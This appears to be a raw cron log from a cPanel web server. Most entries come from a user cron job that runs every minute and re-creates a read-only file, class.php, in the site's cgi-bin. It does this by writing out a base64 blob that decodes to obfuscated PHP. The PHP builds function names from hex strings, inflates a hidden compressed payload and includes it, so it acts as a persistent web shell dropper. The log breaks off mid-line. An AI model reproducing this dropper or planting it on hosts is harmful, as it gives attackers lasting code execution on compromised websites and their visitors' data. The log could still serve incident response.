Apr  8 03:11:01 server CROND[29313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:12:01 server CROND[29547]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 03:12:01 server CROND[29548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:13:01 server CROND[29624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:14:01 server CROND[29699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:15:01 server CROND[29764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:15:01 server CROND[29765]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 03:15:01 server CROND[29766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 03:16:01 server CROND[29902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:17:01 server CROND[30063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:18:01 server CROND[30138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:19:01 server CROND[30213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:20:01 server CROND[30287]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 03:20:01 server CROND[30289]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 03:20:01 server CROND[30288]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 03:20:01 server CROND[30290]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 03:20:01 server CROND[30293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:21:01 server CROND[30431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:22:01 server CROND[30612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:23:01 server CROND[30708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:24:01 server CROND[30778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaU